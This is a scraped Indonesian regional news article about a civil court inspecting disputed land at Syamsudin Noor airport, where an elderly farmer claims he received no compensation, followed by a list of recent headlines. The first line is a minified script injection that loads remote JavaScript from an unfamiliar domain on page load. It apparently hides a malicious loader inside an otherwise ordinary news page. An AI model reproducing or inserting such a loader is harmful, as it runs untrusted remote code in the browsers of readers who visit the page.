(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Majelis Hakim Periksa Lahan Sengketa Proyek Bandara Syamsudin Noor


BANJARBARU, Sengketa lahan proyek pengembangan Bandara Syamsudin Noor Banjarmasin atas kasus sengketa tanah dengan Muhammad (70) terus berlanjut. Majelis Hakim Pengadilan Negeri (PN) Banjarbaru menggelar sidang perdata tersebut di kawasan bandara, Jumat (16/11) sore.

Pada agenda sidang yang juga dihadiri pihak penggugat dan tergugat ini, majelis hakim melakukan pemeriksaan tempat di lokasi sengketa lahan. Di tempat tesebut masih ditemukan patok bidang tanah yang diklaim milik Muhammad.

Kuasa hukum penggugat Samsul Hidayat mengatakan, patok yang belum dirusak tersebut merupakan titik awal pihaknya menunjukan pembuktian penguasaan lahan yang dibangun pihak PT Angkasa Pura. Ia juga mengungkapkan pihaknya masih membukakan pintu damai.

“Sebenarnya kami masih ada pintu terbuka untuk berdamai, karena kami masyarakat juga mendukung pengembangan Bandara yang nantinya mensejahterahkan Kalimantan Selatan. Namun kami mohon dengan hormat untuk memperhatikan hak-hak orang kecil,” ungkapnya.

Gugatan ini juga diperkuat dengan alas kepemilikan lahan yang dipegang adalah Surat Keterangan Kepemilikan Tanah (SKT) yang dibuat pada tahun 1955 dan belum pernah dipindahtangankan. Menurut Samsul Hidayat, kliennya tidak pernah menjual lahan yang ia terima sebagai warisan dari orangtuanya atas nama Ma’ruf.

Agenda sidang di kawasan Bandara Syamsudin Noor ini nantinya akan menjadi bahan masukan majelis hakim. Sidang selanjutnya dijadwalkan di PN Banjarbaru akan digelar 2 minggu lagi dengan agenda pemeriksaan saksi yang diajukan penggugat sebanyak 2 orang.

Sementara itu, Kepala Humas Bandara Syamsudin Noor Adit saat ditanya mengenai periksaan lahan yang menjadi lokasi sengketa mengatakan hanya mengikuti proses perkara. Ia juga telah menyiapkan langkah selanjutnya untuk mengajukan bukti peta di lokasi lahan sebelum digarap ke PN Banjarbaru. “Kita hanya menjalankan proses perkara ini, bukti peta akan diajukan ke Pengadilan Negeri,” tegasnya.

Sebelumnya, Muhammad didampingi kuasa hukum dari Kantor Hukum  Sudarsono, Samsul Hidayat SH, MH, mengajukan gugatan terhadap PT Angkasa Pura (AP) 1 Bandara Syamsudin Noor ke PN Banjarbaru pada Mei lalu. Gugatan tersebut dikarenakan saat dilakukan pembebasan lahan di kawasan bandara, Muhammad tidak menerima ganti rugi lahan.

Akhirnya, ia memilih untuk menetap di sebuah tenda kecil sederhana untuk mengerjakan lahan perkebunan miliknya seluas 8 hektare. Walau kemudian digusur oleh pihak PT Angkasa Pura I, karena dinilai telah menempati dan menguasai lahan yang telah dibayar dan dibebaskan.(rico)

Reporter:Rico
Editor:Cell

Desy Arfianty

Recent Posts

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

7 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

9 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

15 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

15 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

18 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

22 jam ago

This website uses cookies.